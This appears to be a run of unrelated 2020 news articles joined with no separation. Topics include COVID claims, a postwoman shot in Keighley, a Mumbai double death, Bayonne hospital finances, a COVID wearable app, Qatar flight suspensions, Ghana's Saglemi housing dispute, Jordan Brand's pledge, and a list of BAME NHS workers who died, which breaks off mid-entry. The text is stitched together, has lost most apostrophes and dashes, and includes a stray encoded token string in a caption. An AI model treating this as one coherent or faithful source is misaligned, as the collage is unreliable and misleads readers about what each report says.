Oscar MacLean of the University of Glasgow's Centre for Virus Research said suggestions that the virus was weakening were 'not supported by anything in the scientific literature and also seem fairly implausible on genetic grounds'.

Experts and representatives of Johns Hopkins University, Wake Forest Baptist Medical Center, George Washington University and Northwell Health also said they were not aware of evidence suggesting that the virus had changed.

'The suggestion by the Italian doctor is potentially dangerous as it gives false reassurance based on no evidence,' said Leana Wen, an emergency physician and public health professor at George Washington University.

'There is no scientific evidence for there having been a change in the coronavirus. It's a highly transmittable and highly contagious disease. We need to be as on guard as ever.'
Royal Mail bosses have banned deliveries to a problem street in West Yorkshire after a postwoman was shot in the face on duty.

The 52-year-old was blasted by a sniper with a powerful airgun while delivering the post to Spring Bank Rise in Keighley, West Yorkshire, this week and was rushed to hospital with facial injuries.

Royal Mail bosses have taken the drastic action to suspend all future deliveries to the street amid concerns over workers' safety, a move they described as a 'last resort'.

They urged customers to contact the police with any information that would assist with enquiries.

Royal Mail bosses said they were suspending all future deliveries to Spring Bank Rise in Keighley (above) with 'immediate effect'

Police have since arrested an 18-year-old man and youth believed to have been involved in the attack.

A Royal Mail spokesman said the company was 'shocked and saddened to learn of this incident.

'We are thankful that our colleague was not more seriously injured and wish her a speedy recovery.

'We are now assisting the police with their enquiries. Royal Mail has a zero tolerance to any form of abuse against our staff.

'As a result of this incident, all deliveries to Spring Bank Rise Keighley will be suspended with immediate effect.

Police said they had arrested two people believed to have been involved in the attack on a Royal Mail postwoman

'Suspending deliveries is a last resort. However our first priority as an employer is to ensure the welfare and safety of our people.

'Customers who are unable to collect mail from their local delivery office will be offered alternative arrangements until we can safely resume deliveries.

'We urge customers to contact the police with any information that might support their investigation'.

A police spokesman said: 'The 52 year old woman was taken to hospital for treatment and CCTV enquiries have been conducted in the local area.

'Two males, an 18 year old and a juvenile, were subsequently arrested and enquiries remain ongoing.'
Mumbai: In a horrific incident, two dead bodies were found in Mumbai's Mira Road area on Thursday (June 4, 2020) night. The Mumbai police rushed to the spot soon after they were informed of the incident at 11 pm.

The dead bodies were discovered from the drainage system of a resto-bar which is located in Sheetal Nagar. The dead bodies are now sent for postmortem.

As per the initial investigation, both the deceased are said to be the staff of the beer bar in which one is the manager of the bar. The names of the deceased are Naresh Pandit (52) and Haresh Shetty (48).

The bar was closed due to lockdown because of which the reason for the murder is not yet known.

The police have started investigating the case.
Bayonne Medical Center has endured losses of tens of millions of dollars over the past two years, New Jersey Department of Health documents obtained by The Jersey Journal show.

The Bayonne hospital was experiencing dire financial circumstances even before the coronavirus pandemic, the documents show, with the hospital having lost roughly $30 million in the years 2018 and 2019.

The documents, which were released by the state health department via a public records request, publicly reveal the extent of BMCs financial woes for the first time, raising questions about the future of the hospital as its owners try to sell it and two other hospitals in Hudson County.

BMC sustained operating losses of $23.8 million in 2018 and $6.4 million in 2019, according to the transfer of ownership certificate of need filed with the state DOH for the sale of the hospital to a group that owns a string of surgical centers.

At the end of 2018, BMC had even defaulted on a loan, the documents say. And the hospital was projected to lose another $2 million in 2020 even before coronavirus halted elective surgeries.

The losses show a marked decline in the hospitals fortunes. CarePoint Health acquired the hospital out of bankruptcy in 2008 by assuming the hospitals debt of $41 million. By 2013, Bayonne Medical Centers profits were reportedly soaring, and a review of the cost of certain procedures revealed that BMC charged more than any other hospital in the country.

But the high prices drew scrutiny, including an investigation by the State Commission of Investigation that revealed the CarePoint Health ownership group had siphoned $157 million from its three hospitals  BMC, Hoboken University Medical Center (HUMC) and Christ Hospital in Jersey City  by creating shell oversight companies.

In 2018, Gov. Murphy signed a law that closed a loophole allowing hospitals to charge insurance companies for exorbitant amounts. A Jersey City Medical Center satellite emergency room that opened in 2017 also cut into the hospitals patient volume.

The health department documents also shed light on CarePoint Healths proposed deal with BMC Hospital, LLC, which was announced Tuesday. Under the terms of the deal, the LLC would pay $15 million in cash for the hospital operations, the documents show.

The deal with the LLC, a group made up of operators of for-profit surgery center chain Surgicore, was hailed by city and county officials. The agreement for the hospital is contingent on a transfer of ownership of the land underneath it, or the start of eminent domain proceedings by Bayonne, Hudson County or one of its agencies. A March letter of intent signed by CarePoint Health executives and BMC Hospital, LLC estimates the value of that land and the garage as no more than $30 million.

Also on Tuesday, Hudson Regional Hospital announced a deal to buy the BMC land from owner Avery Eisenreich for $76 million. It also announced it was purchasing the HUMC land, also owned by Eisenreich, for $144 million.

The revelations of BMCs finances come as tensions rise between CarePoint Health and Hudson Regional Hospital. On Thursday, CarePoint Health filed for a temporary restraining order against Hudson Regional Hospital to halt the hospitals purchase of BMC and Hoboken University Medical Center.

In documents filed with the Superior Court of New Jerseys Chancery Division, lawyers for CarePoint Health sought seeking to stop Hudson Regional Hospital from interfering with plaintiffs negotiations with third-parties concerning a potential transaction.

CarePoint accused Hudson Regional owner Yan Moshe of attempting to add Bayonne Medical and Hoboken Hospital to the health care system he operates, while simultaneously closing Christ Hospital and depriving the residents of Jersey City of access to critical acute medical care.

In an emailed statement, Hudson Regional CEO Dr. Nizar Kifaieh disputed those claims.

We are baffled by those allegations and think theyre a desperate attempt to deviate the publics attention to the fact that we are a solid solution to the saga that has been taking place in Hudson County related to the sale of (CarePoint Health hospitals), he said.
A new COVID-19 app made in New Zealand was just recently released around the world and is already deemed as a "game-changing" app as it may be able to detect coronavirus infection before the symptoms show.

New COVID-19 App Could Detect Infection Before it Shows Symptoms?

According to a report by the New Zealand Herald, the app is called the elarm and is developed by a New Zealand company known as Datamine.

Datamine founder Paul O'Connor said that the company's aim in creating the app is to overcome one of the biggest hurdles of fighting the unseen enemy: the spread of the coronavirus through asymptomatic people or those who don't know that they are infected.

"Covid-19 puts a viral load on the body three or four days before any external symptoms kick in, which means the body is in distress before you know it," O'Connor explained.

"Unknowingly, a person could be infecting their vulnerable loved ones, and many others they come into contact with."

Act leader David Seymour is planning to push for Government support next week in the Parliament for the app and said, "It's an absolute game-changer and totally unexpected. This is something the Government should have been supporting since day one."

Read Also: COVID-19: Pharma Company AstraZeneca Will Start Production of Potential Coronavirus Vaccine

How Does it Work?

So, how does elarm work?

According to the news outlet, the app will work with any wearable device such as an Apple Watch or a FitBit.

Through the device, the app will then gather data and track the wearer's body temperature, heart rate, active heart rate, recover rates, heart rate variability, and oxygen saturation, which are several indicators of coronavirus infection.

The app will then record any changes that may occur and will compare it to the clinically developed models for the early stages of the viral infection.

Once the elarm app records changes that coincide with the early symptoms of COVID-19, it will alert the user and will recommend other health checks following the World Health Organization's (WHO) guidelines.

Nevertheless, the app is not capable of advising treatment as of now.

Read Also: [COVID-19 Update] Study Shows Coronavirus Patients with Type 'A' Blood May Need Ventilators

Backed Up by Research

According to research conducted by Datamine, wearable devices can predict whether a user has COVID-19 three days before the symptoms of breathing difficulties, fever, and fatigue develop with over 90% accuracy.

Furthermore, O'Connor said their company has been working with different health experts from New Zealand, the United States, Australia, the United Kingdom, and Canada to build the models that elarm is using to analyze the changes in a person's health data.

Michael Baker, an epidemiologist from the University of Otago Wellington's Department of Public Health, supports the app and even said that it has great potential and could be beneficial not just in the fight against the coronavirus infection, but also with other infectious diseases as well.

Nevertheless, the app is still in its early days and hasn't undergone field testing yet to see how well it works.

However, NZ has beaten the virus, so Baker said other countries with developing COVID-19 cases would benefit most from the new app.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
As someone who grew up in Alexandria, I wasnt the least bit wistful about seeing my old hometowns token Confederate soldier finally removed from his lofty perch in the middle of the busy intersection at Washington and Prince Streets [Confederate statue is removed early, Metro, June 3]. His always southward-facing presence (unless a colliding car happened to rotate his pedestal by a few degrees, a not infrequent occurrence) had been a traffic hazard there for all of its 131 years. Besides, thats an awful long time for even a sullen statue to brood about being on the losing side of a conflict in which Alexandria itself only participated for one day. Virginia seceded on May 23, 1861, and Alexandria was occupied by Union troops on May 24 after a grand total of two shots (both fatal  one for each side) were fired. Its high time for everybody to move on, if only to let the traffic do so.
Greece has suspended all flights from Qatar after 12 passengers tested positive for coronavirus.

Qatar Airways claimed the passengers who tested positive after landing in Athens on Monday were healthy when they left Doha five hours earlier.

A dozen of the plane's 91 passengers tested positive for the deadly virus - which has officially killed 45 people in Qatar.

They will all have to isolate for 14 days and those who tested negative will have to self-isolate for seven days to prevent the illness spreading further, according to the Mirror.

All flights to and from Qatar have now been suspended to prevent further infections being brought over from the country. Qatar has had 63,741 confirmed cases.

Qatar Airways claimed the passengers who tested positive after landing in Athens on Monday were healthy when they left Doha. Pictured, a civil protection worker prepared to test passengers at the Eleftherios Venizelos International Airport in Athens on May 18

'Following these epidemiological facts, flights from and to Qatar are suspended until June 15,' the Greek civil protection authority said in a statement.

But Qatar Airways denied allowing passengers with Covid-19 to fly.

In a statement Qatar Airways said: 'Upon arrival in Doha and before boarding the flight to Athens, all passengers were screened and tested according to the procedures and established health protocols and were found suitable to continue their journey.'

The company said none of the passengers who tested positive were from Qatar.

The General Secretariat for Civil Protection said in a press release that one person was a Greek national coming from Japan, two were Greek nationals coming from Australia and nine were Pakistani nationals, coming from the Pakistani city of Gujrat, who have a Greek residence permit.

Qatar Airways is issuing all cabin crew with hazmat suits to wear during in-flight service

Greece has been praised for its low infection rate during the deadly pandemic. The country has had less than 3,000 cases. Sadly 180 people have died in the country from the illness.

It comes after Qatar Airways issued staff with hazmat suits to wear during in-flight service.

They were part of a raft of measures the airline introduced from Monday, May 25, as a result of the coronavirus pandemic.

Cabin crew had already been wearing face masks and gloves but are now wearing suits over their uniforms. It is also mandatory for passengers to wear masks or face coverings and there is a modified in-flight service.

Passengers from the first Lufthansa flight to Greece, following a nationwide lockdown against the spread of the coronavirus disease, listen to instructions from a civil protection worker at the Eleftherios Venizelos International Airport

For example, business class passengers have their meals served on a tray instead of a table and cutlery is handed out in a wrap rather than individually to 'reduce contact between the crew and the passengers'.

The airline said business class Qsuite passengers could display the do not disturb sign and keep the privacy door shut if they wanted to limit interactions with the crew.

In economy, all meals and cutlery is served sealed as usual.

Qatar said all meal service utensils and cutlery is washed with detergents and rinsed with demineralised fresh water at 'temperatures that kill pathogenic bacteria'.

How cabin crew on Qatar Airways flights normally look, with signature dark red uniforms

Large bottles of hand sanitiser are placed in the galley for use by both passengers and crew, while social areas onboard aircraft have been shuttered 'to observe social distancing measures'.

The airline said it was encouraging social distancing where possible, especially on flights with lighter loads.

It explained: 'Distancing is also implemented during the boarding process, ensuring passengers are allocated seats far apart from each other.

'The airline is also encouraging passengers to follow hygiene practices recommended by the World Health Organisation (WHO), such as regular hand washing and refraining from touching the face.'

A passenger in Athens was tested for coronavirus on May 18 as another waited for his turn behind a screen

Cabin crew have been given training on how to minimise their chances of contracting or spreading the infection, according to the airline.

It explained crew are now thermally screened before the departure of flights and after their arrival.

They are then quarantined and tested if any colleagues or passengers on a flight show any symptoms of infection or test positive for the virus.

The airline also revised its distribution of cabin crew on flights, sending two groups on short-haul and medium-haul flights  the first to manage the outbound trip, the second to manage the inbound trip.

State-owned Qatar Airways is laying off 20 per cent of its workforce and has told employees cabin crew would be made redundant. It has been one of few airlines to continue regular, scheduled flights during the global lockdowns

For long-haul flights, crew members who have to stay overnight in a foreign city can only travel in Qatar Airways-approved transport and must stay in their rooms to limit human interactions.

The airline said: 'Qatar Airways continues to implement the highest standards of health and safety. Its aircraft are regularly disinfected using cleaning products recommended by the International Air Transport Association (IATA) and the World Health Organisation.

'Its home airport, Hamad International Airport, has also invested in deploying disinfectant robots, fully autonomous mobile emitting concentrated UV-C light known to be effective in eliminating the majority of infectious microorganisms.

All flights to and from Qatar have now been suspended to prevent further infections being brought over from the country. Qatar has had 63,741 confirmed cases. File image

'Qatar Airways aircraft feature the most advanced air filtration systems, equipped with industrial-size HEPA filters that remove 99.97 per cent of viral and bacterial contaminants from re-circulated air, providing the most effective protection against infection.

'All the airlines onboard linen and blankets are washed, dried and pressed at microbial lethal temperatures, while its headsets are removed of ear foams and rigorously sanitised after each flight. These items are then sealed into individual packaging by staff wearing hygienic disposable gloves.'

Qatar Airways Group Chief Executive, His Excellency Mr Akbar Al Baker, said: 'At Qatar Airways, we have introduced these additional safety measures onboard our flights to ensure the continued health and wellbeing of our passengers and cabin crew, and to limit the spread of coronavirus.'

The IATA, the body representing global airlines, earlier this month came out in favour of passengers wearing masks onboard, as debate intensifies over how to get airlines flying while respecting social-distancing rules.

State-owned Qatar Airways is laying off 20 per cent of its workforce and has told employees cabin crew would be made redundant.

It has been one of few airlines to continue regular, scheduled flights during the global lockdowns to contain the novel coronavirus, maintaining services to around 30 destinations.

The airline said this month it would start resuming flights to destinations it had suspended due to the virus outbreak and that it aimed to fly to up to 80 destinations by June.

Those not wearing a face mask inside Qatar risk a fine of 45,000 (200,000 riyals ($55,000) and a maximum prison sentence of three years.
Speaker of Parliament Professor Aaron Mike Oquaye, yesterday ordered an investigation into allegations that the former Minister for Works and Housing, Collins Dauda, irregularly varied a parliamentary approval for the construction of 5,000 affordable housing units under the Saglemi Housing Project at the cost of US$200 million.

The Minister for Works and Housing, Samuel Atta-Akyea, had told Parliament that his predecessor, on his own motion, reviewed the original agreement and signed a dubious agreement with Messrs Constructora OAS Ghana Limited to downsize the number of houses to be constructed to 1,502 housing units with the same contract sum.

On the 21st day of December, 2016, 14 days after former President John Dramani Mahama had lost his position in the elections, the then Chief Director, Alhaji Ziblim Yakubu, and the contractor, again, reviewed the first amended and restated agreement and signed a new agreement which reduced the scope of work to 1,024 housing units, instead of the 5,000, the Abuakwa South MP said yesterday.

Responding to questions on the Floor of Parliament, Mr. Atta-Akyea said under the second restated agreement, 388 housing units were to be completed externally, while 90 units were to be left at foundation or lintel levels, adding that this was to bring the total units to be constructed to 1,502 units at a revised contract sum of US$181,519,000.

The Member of Parliament (MP) for Nsawam-Adoagyiri, Frank Annoh-Dompreh, had, among others, asked the Works and Housing Minister the state of the Saglemi Housing Project and when Ghanaians could have the benefit of it.

Implementation Status

Mr. Atta-Akyea said the ministry, under the watch of Collins Dauda, NDC MP for Asutifi South, hurriedly paid a fantastic sum of US$80 million, representing 40 per cent of the contract sum to the contractor as mobilization, without demanding a bond, which is a necessary prerequisite in such contract.

He disclosed that this was after the Ministry of Finance had on January 10, 2013 informed the former minister that Messrs Credit Suisse International had disbursed a total amount of US$198,450,000 being US$200 million less fees and transaction expenses of US$1,550,000 into the Escrow Account at the Bank of Ghana.

Rt. Hon. Speaker, I do not know if the then Minister for Works and Housing had been bewitched by the contractor, he wondered.

I submit that the seed of the bankruptcy of the Saglemi Housing Project was sown by this dubious act. This racket was so strong that the ministry did not demand a performance bond as a necessary prerequisite before the release of US$80million, he added.

According to the minister, immediately the sum of US$80,000 was released to the contractor when actual work had not started, the contractor transferred abroad US$40 million.

The Saglemi Housing Project, whose contractor is Messrs Construtora OAS Ghana Limited, a Brazilian company, incorporated under the laws of Ghana, was one of the NDC government inherited troubles, he said.

Speaker

Speaker Mike Oquaye, upon listening to the issues raised by the minister and the controversies surrounding them, referred the housing project to the Parliament's Committee on Works and Housing to investigate and report back in two weeks' time.

Prosecution

However, the minister is hinting of prosecution of the people involved, stating that all the traducers of the law will be put before a court of competent jurisdiction to answer criminal charges.

Mr. Atta-Akyea also said a civil action shall be used to recover monies lost to the state and indicated that the audit would also project how much money would be required to complete the 5,000 housing units with full amenities.

Currently, the racket could only deliver 636 housing units which are unfit for human habitation, because the necessary amenities like water and electricity have not been fixed, and the entire project lacks onsite infrastructure, especially a drainage system; the 388 housing units are at various stages of completion.

Background

In 2002, the then Ministry of Water Resources, Works and Housing (MWRWH), acquired a parcel of land measuring 2,172 acres situating and lying at Saglemi, near Old Ningo, within the then Dangme East District of the Greater Accra Region as one of its land banks for the construction of the Government Affordable Housing Units.

This land was allocated to Messrs Construtora OAS Ghana Limited for the construction of 5,000 housing units.

On the 15th day of August 2012, the then President, John Dramani Mahama, granted executive approval to the ministry for the construction of 5,000 affordable housing units by Messrs Construtora OAS Ghana Limited for sale to workers through a mortgage arrangement via Ghana Home Loans.

Messrs Construtora OAS Ghana Limited was to utilize a buyer's credit of US$200 million for the project.

The executive approval also permitted the then MWRWH to present to Parliament for approval the exemption of stamp duties, taxes, duties, levies and other charges relating to the execution of the project.

On Wednesday, the 3lst day of October, 2012, Parliament granted approval for the construction of 5,000 affordable housing units by Messrs Construtora OAS Ghana Limited for sale to the workers of Ghana through a mortgage arrangement underwritten by Ghana Home Loans, with a buyer's credit of US$200 million.

---Daily Guide
Michael Jordan has been criticized in the past for being apolitical. But now, after George Floyd's death, "every one of us needs to be part of the solution," he said. (Chuck Burton / Associated Press)

Michael Jordan and Jordan Brand, the sneaker company that bears his name and iconic logo, pledged to contribute $100 million to organizations fighting racial and social injustice over the next decade.

The Jordan Brand is us, the Black Community, a statement posted on Twitter begins. Jordan Brand is more than one man. It has always been a family. We represent a proud family that has overcome obstacles, fought against discrimination in communities worldwide and that works every day to erase the strain of racism and the damage of injustice.

Black lives matter. This isn't a controversial statement. We are you. We are a family. We are a community. pic.twitter.com/cGH8bJl1GQ  Jordan (@Jumpman23) June 5, 2020

Jordan, who also is the owner of the Charlotte Hornets, has been criticized for declining to make political stands  the quote Republicans buy sneakers too being a large part of his off-court legacy. Jordan addressed the quote recently in the ESPN documentary The Last Dance, saying it was an off-handed quip.

In the aftermath of George Floyd's death, Jordan issued a statement.

I am deeply saddened, truly pained and plain angry. I see and feel everyones pain, outrage and frustration. I stand with those who are calling out the ingrained racism and violence toward people of color in our country. We have had enough, he said in the statement. I dont have the answers, but our collective voices show strength and the inability to be divided by others. We must listen to each other, show compassion and empathy and never turn our backs on senseless brutality. We need to continue peaceful expressions against injustice and demand accountability. Our unified voice needs to put pressure on our leaders to change our laws, or else we need to use our vote to create systemic change.

Every one of us needs to be part of the solution, and we must work together to ensure justice for all.
A homemade banner in support of the NHS (PA)

At least 100 black, Asian and minority ethnic healthcare workers have died with Covid-19.

This amounts to 60% of the total 166 victims verified by the PA news agency.

Here are the names of those victims and what we know about each of them.

 Abdorreza Sedghi, GP

Known as Abdy, Dr Sedghi contacted Covid-19 in April before he died on May 27. The Iranian GP had been based at Lister Hospital in Stevenage since August 2019 and had charisma and personality.

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 Abdul Gellaledin, ambulance care assistant

Colleagues of Mr Gellaledin, who worked for Falck Ambulance UK helping to transport patients to and from Kingston Hospital, held a two-minute silence for him following his death earlier in April.

 Dr Abdul Mabud Chowdhury, consultant urologist

The 53-year-old wrote a Facebook post asking Prime Minister Boris Johnson to urgently provide every NHS worker with personal protective equipment just five days before he died on the night of April 8.

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 Adekunle Enitan, intensive care nurse

The kind and cheery father-of-two died in hospital on April 24 after being cared for by the team at William Harvey Hospital in Ashford, Kent, with whom he had worked for five years.

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 Adil El Tayar, transplant surgeon

The 63-year-old died at West Middlesex University Hospital in Isleworth, west London, on March 25. He had been working as a locum surgeon.

 Afua Fofie, healthcare assistant

Afua Fofie is described as having an infectious laugh and willingness to go the extra mile for patients and those she worked with.

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 Alanzo Smith, mental health worker

The 62-year-old, from Chingford, had been a mental health worker at the Barnet, Enfield and Haringey Mental Health Trust for 22 years before his death on May 10.

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 Alfa Saadu, doctor

The 68-year-old, who had returned to work from retirement, died on April 6 at the Whittington Hospital in north London.

 Alice Kit Tak Ong, nurse

The 70-year-old, originally from Hong Kong, died on April 7 after 44 years of working for the NHS. She was described by her daughter, Melissa, as generous to everyone else before herself.

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 Allan Macalalad, theatre assistant

Mr Macalalad, 44, who lived with his wife Elsie, a nurse, and son Justin in Cardiff, had worked as a theatre assistant treating eye disorders for two years, and was described as a perfect gentleman and a loyal team player.

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 Amarante Dias, hospital worker

Amarante Dias, who worked at the Weston General Hospital in north Somerset, was described as a valued and much-loved colleague who would be greatly missed.

 Amged El-Hawrani, consultant

Dr El-Hawrani was an ear, nose and throat consultant with University Hospitals of Derby and Burton NHS Foundation Trust. He died at Glenfield Hospital in Leicester on March 28, aged 55.

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 Amor Gatinao, nurse

The nurse is reported to have died on the morning of April 10, having worked at St Charles Hospital, west London.

-Amrik Bamotra, radiology support worker

Mr Bamotra, known to colleagues as Bob, was said to have treated everyone like his own family, and leaves behind a wife, daughter and son.

The 63-year-old had worked at the King George Hospital in Ilford, east London, for four years, and is suspected to have died from coronavirus. His death was announced on April 15.

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 Andrew Ekene Nwankwo, nurse

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Andrew Ekene Nwankwo, who worked as a locum nurse at Broomfield Hospital in Chelmsford, Essex, died with coronavirus on May 16 aged 46.

 Anton Sebastianpillai, consultant

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 Anujkumar Kuttikkottu Pavithran, nurse

Known as Kumar to his colleagues, Mr Pavithran was a staff nurse at Pilgrim Hospital, Boston, where he was very well-liked according to a spokesman for his workplace. He died on April 27 having contracted Covid-19.

 Areema Nasreen, nurse

Ms Nasreen, 36, died on April 2 in intensive care at Walsall Manor Hospital in the West Midlands, where she had worked for 16 years.

 Ate Wilma Banaag, nurse

Nurse and mother of three Ate Wilma Banaag had worked at Watford General Hospital for almost two decades, since she arrived in the UK in January 2001.

A fundraising page, set up in her memory, said she was so hard-working up to her last working days when she contracted the virus.

 Augustine Agyei-Mensah, learning disabilities nurse

Augustine Agyei-Mensah, known to his colleagues as Gus, was a highly regarded team member at Northamptonshire Healthcare NHS Foundation Trust (NHFT).

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Originally from Ghana, he was proud of his heritage and dedicated to his young family.

 Carlos Sia, healthcare assistant

Described as a quiet and gentle person, Carlos Sia, 62, died on Friday May 15 after spending several weeks in intensive care.

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He worked for Worcester Acute NHS Trust alongside his wife Cindy, a healthcare assistant, and daughter Clair, a nurse. In a letter to staff, trust chief executive Matthew Hopkins said: His quiet, gentle and respectful nature, his generosity of spirit, his sense of humour and his calming influence also made him popular with patients.

 Cecilia Fashanu, nurse

Cecilia Fashanu was described by her family as our superwoman following her death.

She died at her workplace, Cumberland Infirmary in Carlisle, on April 30 after receiving critical care for a number of weeks.

Charles Kwame Tanor, mental health worker

The 39-year-old had been working night shifts at Eden Place Mental Health Nursing Home in Leamington Spa, Warwickshire, before he died on March 11.

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Mr Tanors partner Prudence King, his four-year-old son Charles and 12-year-old stepson said they are devastated by his death.

 Dawn Marshall, support time recovery worker

Most recently at Quayside House in Oldbury, Ms Marshall had worked for the Black Country Healthcare NHS Foundation Trust for 10 years before her death on April 15. The trust said she was bubbly and always breaking out in song.

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 Dominga David, nurse

Mother-of-one Ms David, a nurse from Penarth who had been at University Hospital Llandough since 2004, and was described as an exceptionally hard worker and a respectful, kind and compassionate person.

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She died on Tuesday May 26.The 62 year old from the Philippines is survived by her son, Renzie.

 Donald Suelto, nurse

The 51-year-old, who worked at Hammersmith Hospital in west London, died on April 7 after going into self-isolation with coronavirus symptoms.

 Donna Campbell, healthcare support worker

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Described by colleagues as beautiful and kind-hearted, the healthcare support worker from the Velindre Cancer Centre in Cardiff died at the University Hospital of Wales on April 10.

Edem Dzigbede, nurse

After a 30-year nursing career, Ms Dzigbede retired last year before returning to work on the respiratory ward at Queen Elizabeth Hospital in London amid the coronavirus outbreak.

Described on a GoFundMe page in her honour as a blessing to everyone she came across, she died on April 19.

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 Edmond Adedeji, doctor

The 62-year-old worked as a locum registrar in the emergency department of Great Western Hospital in Swindon, Wiltshire, and died doing a job he loved on April 8.

 Elbert Rico, hospital porter

A colleague of Oscar King Jr at John Radcliffe, Mr Rico worked as a porter there since moving to the UK from the Philippines in 2004 and loved the work that he did, according to a fundraising page published by his family.

 Eleuterio Gibela, domestic services worker

The father of two, known by colleagues as Boy, died on Saturday May 2 after testing positive for the virus.

The 68-year-old and true gentlemanhad worked in domestic services at Blackpool Teaching Hospital NHS Trust for nearly 20 years.

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 Elma Cavalida, maternity assistant

The bubbly and friendly maternity assistant worked at Northwick Park Hospital and died on April 26 after contracting Covid-19.

She arrived in England 10 years ago from the Philippines according to a GoFundMe page set up by her husband.

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 Elvira Bucu, healthcare assistant

Ms Bucu, based at Heatherwood Hospital in Ascot, died on April 3.

A statement from Frimley Health NHS Foundation Trust said her colleagues described her as a ray of sunshine.

 Esther Akinsanya, nurse

The nurse and grandmother was working on the front line at Queen Elizabeth Hospital in London before her death on the evening of April 15, Lewisham and Greenwich NHS Trust confirmed.

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Ms Akinsanya, 55, had been a nurse for the NHS for more than 20 years along with her older sister, Mary Idowu, who has also been fighting Covid-19 and has been in a coma in recent weeks.

Her son Samuel told the PA news agency: My mother is an angel in human form. She was a peoples person, always available to stretch herself thin to help in any way, shape or form. She would sacrifice to ensure you were whole, nothing was half-hearted.

 Eyitolami Olaolorun, paediatric nurse

The mother-of-fours death was announced by her family on April 23.

In a tribute on GoFundMe, her children said: She was an excellent paediatric nurse with 40 years of experience.

She was caring and compassionate towards all her patients and their families, so much so, that some of them have become part of our extended family.

 Fayez Ayache, GP

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The 76-year-old general practitioner and grandfather died in Ipswich Hospital on April 8, having been diagnosed with bilateral pneumonia and coronavirus.

 Furqan Ali Siddiqui, doctor

NHS hero Dr Siddiqui died on April 30 while being treated for Covid-19, having worked at Wythenshawe Hospital in Manchester as a clinical fellow in its burns and plastics department.

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 Gladys Mujajati, also known as Gladys Nyemba, mental health nurse

The 46-year-old, who worked to support people in Derby, has been described as precious by science minister Amanda Solloway, and much-loved, warm and caring by her colleagues.

Ms Mujajati, who had an underlying health condition and had stepped away from work in recent weeks, died in hospital, the Derbyshire Healthcare NHS Foundation Trust said.

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 Glen Corbin, nurse

The 59-year-old had worked at the Park Royal Centre for Mental Health in Harlesden, north-west London, for more than 25 years and his employer, the Central and North West London NHS Foundation Trust, announced his death on April 4.

 Grace Kungwengwe, healthcare worker

The frontline worker and grandmother is described as a dedicated NHS worker, who loved her job and was actively working until she tested positive (for) Covid-19 on a fundraising page set up in her memory.

It said: She was loved by many and her dedication and care for others was second to none.

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 Grant Maganga, mental health nurse

Grant Maganga died on April 20 at Tameside Hospital after 11 years of nursing, most recently at Hurst Place in Ashton-under-Lyne, Manchester, a rehabilitation unit for men with severe mental illness and complex needs.

Grant was an exceptional nurse who cared deeply for his patients and lit up the room with his infectious smile and positive personality, said Clare Parker, director of nursing at Pennine Care NHS Foundation Trust, which runs Mr Magangas unit.

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 Habib Zaidi, doctor

The GP in Leigh-on-Sea died in intensive care at Southend Hospital, Essex, on March 25, aged 76.

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 Habibhai Babu, senior house officer

The doctor, known to colleagues as Babu, worked at Whipps Cross Hospital. His death was announced by Barts Health NHS Trust.

 Jenelyn Carter, healthcare assistant

Ms Carter worked on the admissions ward at Morriston Hospital and was well-loved by all her colleagues and patients, Swansea Bay University Health Board said.

 Jennie Sablayan, haematology nurse

Ms Sablayan was described as a much-loved specialist who had trained in the Philippines before joining University College London Hospital in 2002. A GoFundMe, set up in her memory, said she died on May 5.

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 Jermaine Wright, senior pharmacy technician

Mr Wright, 45, died on April 27 after contracting the virus, having most recently worked at the Royal Brompton Hospital.

Imperial College Healthcare Trust described him as an inspiration who saved countless lives.

Expand Close Jermaine Wright (Family handout/PA) eyJpdiI6InQzNk1SNUFQeERnU3FtSmN4XC9cL0FHQT09IiwidmFsdWUiOiI2Q1BjZEFncnZBSUdDRng5SFVmcjR5ZHNrVjZ1TEpXNmhjcDg2Q3V1NTc0UHVPUmRwZ1o0aUl0NzN5ZWhpa2NMIiwibWFjIjoiNmY5MDg0YTg2M2ZkMTYzNzBmYWMzNTkxYmIzNmExN2U4NzAwOWQ3MmI5MTAwNTljMTI1MDhkZjNmYWFlZjBmMCJ9 / Facebook

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 Jitendra Rathod, surgeon

A highly regarded associate specialist in cardiothoracic surgery at the University Hospital of Wales, Mr Rathod died on the morning of April 6.

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 John Alagos, nurse

The Mail On Sunday reported that the 27-year-old nurse, who treated coronavirus patients at Watford General Hospital, died after a shift on April 3.

 Joselito Habab, nurse

Known as Jo, the father-of-one died at Whiston Hospital on Wednesday May 20 with his wife, an A&E nurse, by his side.

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He was originally from Manila, in the Philippines, and joined the Warrington and Halton Teaching Hospitals NHS Trust almost 18 years ago.

 Josephine Matseke (Manini), nurse

Josephine Masteke (Manini), also known as Josephine Peter, died on April 18 at Southport and Formby District General Hospital after testing positive for Covid-19.

She had been working at Southport on an agency contract since February and had been a nurse for 20 years. She was married with two children.

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 Josiane Zauma Ebonja Ekoli, nurse

The mother-of-five was an agency nurse who lived in Leeds and worked at Harrogate Hospital. She died on April 13, aged 55.

Her daughter said: It meant everything to be a nurse, shes been doing it for as long as I remember  more than 30 years.

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 Julie Edward, nurse

Ms Edward died on May 4 with coronavirus, according to a Go Fund Me page for her family, having worked at the Royal Berkshire Hospital in Reading since 2017.

The Royal Berkshire NHS Foundation Trust commended her kindness and dedication to her job.

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 Juliet Alder, healthcare assistant

The 58-year-old mother had worked at West London NHS Trust since 2016. She died on April 14 and was described by Carolyn Regan, trust chief executive, as kind, caring and thoughtful

 Julius Sana, healthcare support worker

Mr Sana, 40, fell ill with Covid-19 while working at a private hospital which cares for people with neurodegenerative diseases in Newport, South Wales. He died on April 26.

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 Jun Terre, healthcare assistant

Jun Terre, 52, died on May 14 and was said to be a gracious, quiet and kind gentleman with a smile that would light up a room, according to Neil Macdonald, Buckinghamshire Healthcare NHS Trust chief executive.

 Kamlesh Kumar Masson, doctor

Dr Masson, who died on April 16 aged 78, had worked in the NHS for 47 years. He founded the Milton Road Surgery in Grays, Essex, in 1985 and worked there until 2017, when he moved on to locum work.

 Karamat Ullah Mirza, GP

Eighty-four-year-old Karamat Ullah Mirza had been seeing patients until two weeks ago.

His widow Estelle told the Clacton Gazette: He was no ordinary man, he was an extraordinary, exceptional and astonishing man, who was absolutely fearless and daring and had enormous knowledge.

He worked endlessly for the NHS and non-stop for this country.

 Kenneth Lambatan, cardiology research nurse

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Mr Lambatan was just 33 years old when he died on April 27 after contracting Covid-19 and was an extraordinary person, son, brother, nurse, colleague and friend, according to a GoFundMe page posted in his memory.

St Georges Hospital, London, where he worked, said he was described as a true gem by those that knew him well.

 Khalid Jamil, healthcare assistant

